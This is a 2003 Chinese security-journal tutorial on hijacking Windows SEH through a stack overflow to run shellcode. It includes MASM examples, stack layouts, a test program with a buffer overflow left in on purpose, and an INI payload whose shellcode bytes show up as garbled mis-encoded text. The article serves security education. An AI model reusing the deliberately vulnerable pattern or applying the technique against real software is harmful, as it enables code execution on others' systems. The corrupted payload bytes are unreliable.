首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第43期->技术专题
期刊号: 类型: 关键词:
利用SEH执行shellcode

作者:czy <czy82@elong.com>
主页:http://www.nsfocus.com
日期:2003-08-06

利用SEH执行shellcode

                       czy 于 03.07.31
前言
    唉时间过得真快啊一眨眼就过了三天,还是继续吧.今天介绍SEH,其实这东东
我以前就用得实在不多,好不废话了大家首先要明白,如果要攻击一个有洞洞的程
序并利用程序中的SEH来执行我们的shellocde那么,这个程序本身要是利用了SEH
技术的.另外在VC中用
  __try{ 可能出错代码}__except(判断怎样处理出错的函数){处理出错的代码}
这种宏来搞的SEH,编绎器是做了专门处理的,简单的说在执行处理出错的代码之前
先执行了一个叫__except_handler3的函数.

一节:SEH的简单使用

    例子还是用汇编程序吧.
.386
.model flat,stdcall
option casemap:none

include        ../include/user32.inc
includelib    ../lib/user32.lib
include        ../include/kernel32.inc
includelib    ../lib/kernel32.lib

        .data
szCap     db "SEH TEST",0
szMsgOK db "OK,the exceptoin was handled by final handler!",0
szMsgERR1 db "It would never Get here!",0


        .code
_start:
          push         offset Final_Handler            ;把处理出错代码的函数地址压到栈中
          call        SetUnhandledExceptionFilter      ;看到了吧关键就是执行了这个API函数

        xor      ecx,ecx
        mov     eax,200  
        cdq
        div       ecx     ;0作分母出错了.
        invoke       MessageBox,0,addr szMsgERR1,addr szCap,30h+1000h  
        invoke       ExitProcess,0          

Final_Handler:
       invoke       MessageBox,0,addr szMsgOK,addr szCap,30h
       mov       eax,1;EXCEPTION_EXECUTE_HANDLER ;==1 这时不出现非法操作的讨厌对话框
        ;mov    eax,EXCEPTION_CONTINUE_SEARCH  ==0 出现,这时是调用系统默认的异常;处理过程,程序被终结了
        ;mov    eax,EXCEPTION_CONTINUE_EXECUTION ==-1 不断出现对话框,你将陷入死循环,可别怪我
              ret 4
end _start


上面的代码我只是想写给那些还没有用过SEH的朋友看的.让大家明白这玩意到底有什么用.

好了其实在实战中或是说攻击VC写的程序,人家是用了线程相关的SEH.先来看看这又是怎么设置的.

通常每个线程初始化准备好运行时fs指向一个TIB结构(注意如果用汇编就得自已写代码了也就是说TIB结构要
自已构造),这个结构的第一个元素fs:[0]指向一个_EXCEPTION_REGISTRATION结构
(也就是说它是TIB结构的第一个成员,我们只构造它就可以了)

    fs:[0]->
     _EXCEPTION_REGISTRATION struc
     prev dd ?                    ;前一个_EXCEPTION_REGISTRATION结构
     handler dd ?                 ;异常处理例程入口,现在明白该怎么作了吧:)
     _EXCEPTION_REGISTRATION ends

我们可以建立一个ERR结构然后将fs:[0]换成指向他的指针,当然最常用的是堆栈,
如果你非要用静态内存区也可以(可以吗?用了我溢出个P啊).
把handler域换成你的程序入口,就可以在发生异常时调用你的代码了,好马上实践一下!(唉没VC)

;整个儿代码贴出来太占地方了,我只把开头贴出来,其它的和上面的一代码一样.
_start:
   ASSUME FS:NOTHING        ;否则Masm编译报错
        push    offset perThread_Handler   ;异常处理例程入口
        push    fs:[0]                     ;保存老的TIB结构地址
        mov     fs:[0],esp            ;建立SEH的基本ERR结构!
    xor      ecx,ecx
    mov     eax,200  
.....
    pop     fs:[0]              ;清除seh链表
        add     esp,4
        invoke       ExitProcess,0        
....
........后面的除了在perThread_Handler返回是只用ret外都一样.

二节:通过SEH执行shellcode.
     好了在这一节我们进入正轨,看看那些坏人们的阴谋.
假设异常处理例程入口00401053,程序刚开始执行时esp是0012ffc4,以前的fs:[0]是0012ffe0
键立了TIB结构的第一个成员后堆栈的情况如下:

  内存低地址
  
| E0 |12ffbc(esp)
| FF |
| 12 |  --ERR结构的第一个成员
|_00_|
| 53 |12ffc0
| 10 |
| 40 |  --ERR结构的第二个成员
| 00 |

  内存高地址

  好了然后程序CALL一个函数,函数里面有一个局部变量并且在往其分配的空间中写入的数据时
产生溢出.这时堆栈如下

____
|    |12f000 局部变量分配的空间,并且向12ffc0方向溢出了.
|    |
....
....
|_EBP|12ffb4 函数中保存老的EBP
| xx |
| xx |
| xx |
|_EIP|12ffb8 call函数时EIP进栈
| xx |
| xx |
|_xx_|
| E0 |12ffbc(esp)   {当ESH起作用的时候EBX刚好指向这个地址(也可说总是指向当前ERR结构)}
| FF |
| 12 |  --ERR结构的第一个成员
|_00_|
| 53 |12ffc0
| 10 |
| 40 |  --ERR结构的第二个成员
|_00_|
|    |12ffc4
   继续看,假设溢出代码一直到了12ffc4,然后call的函数该返回了,因为保存的EIP被溢出代码代替
所以程序出错(不会不出错吧?),这样ESH开始起作用了(注:在这期间系统要执行一些操作,所以EBX才
会指向当前ERR).这样一来程序就会跳到12ffc0里的地址去执行!而12ffc0里的东东早已不是原来的
00401053了.这样我们不就改变了程序的流向了么.
   12ffc0中该写入什么内容呢?应是内存中JMP EBX的代码的地址.这样跳了3下后最终就会跳到12ffbc
去执行.这个四字节可是宝贵的啊:)现在假设JMP EBX这个指令在内存中的地址是0x77e33f4d
那下具体看一下现在堆栈的情况:

| EB |12ffbc(esp)   {当ESH起作用的时候EBX刚好指向这个地址(也可说总是指向当前ERR结构)}
| 06 |
| 90 |  --ERR结构的第一个成员,执行JMP EBX后就到这儿来执行了(EB 06是短跳转JMP 12FFC4的机器码)
|_90_|  后面的90是nop空指令的机器码.
| 4D |12ffc0
| 3F |
| E3 |  --ERR结构的第二个成员,出错处理函数的入口地址(现在成了JMP EBX的地址)
|_77_|
|    |12ffc4
....

  好现在来看看12ffc4里面有些什么代码.(简单的说这段代码的作用是计算真正的shellcode的起始地址
,然后跳过去执行.)

低地址

|    |12f000(shellcode开始地址)
....
....
| 81 |12ffc4
| C3 |  add ebx,FFFFF03Ch(ebx=12ffc4,指令长度6,作用计算计算shellcode地址)
| 3C |
| F0 |
| FF |
| FF |
| FF |12ffca jmp ebx
| D3 |  

高地址

  好了这样一个完整的利用SEH来执行我们SHELLCODE的过程就说完了.下面看我的测试程序.


三节:测试程序

    昨天遇到些小问题,今早上来把程序才调通哟,感谢TombKeeper哈.

-------------------------SEH.ASM------------------f
.386
.model flat,stdcall
option casemap:none

include        ../include/user32.inc
includelib    ../lib/user32.lib
include        ../include/kernel32.inc
includelib    ../lib/kernel32.lib



.data
hello        db '利用一个读INI文件的API来演示WIN2000本地溢出',0
lpFileName    db '.\seh.ini',0            
lpAppName    db 'iam',0
lpKeyName    db 'czy',0            
lpDefault    db 'ddd',0
szCap     db "SEH TEST",0
szMsgOK db "OK,the exceptoin was handled by final handler!",0
szMsgERR1 db "It would never Get here!",0

.code

testov    proc
    local   lpReturnedString[2224] : byte    ;返回的字串搞成本地变量这样就和C语言一样了,它是在栈中    
    invoke    GetPrivateProfileString,offset    lpAppName,offset lpKeyName,offset lpDefault,ADDR lpReturnedString,2249,offset lpFileName    
    invoke    MessageBox,0,addr lpReturnedString,addr lpReturnedString,1
    ret
testov    endp
    
start:
    ASSUME fs:NOTHING
    invoke  MessageBox,0,addr szMsgERR1,addr szCap,30h+1000h ;下断点    
    push    offset Final_Handler    ;压入正常的出错处理程序入口地址
    push    FS:[0]                  ;把前一个TIB的地址压入
    mov    fs:[0],esp
    call    testov    
    pop     fs:[0]                     ;还原FS:[0]     
    
Final_Handler:   ;由于溢出了下面的代码不会被执行.
       invoke       MessageBox,0,addr szMsgOK,addr szCap,30h
       invoke       ExitProcess,0
       mov       eax,1
       ret
end start

--------------------end-------------
------------------SEH.ini-----------
[iam]
czy=j ?? R鐷丛w瑗乖wc:\nsfocus













                                           悙悙悙悙悙悙悙悙悙悙    ?悙?遷侂?  
版权所有,未经许可,不得转载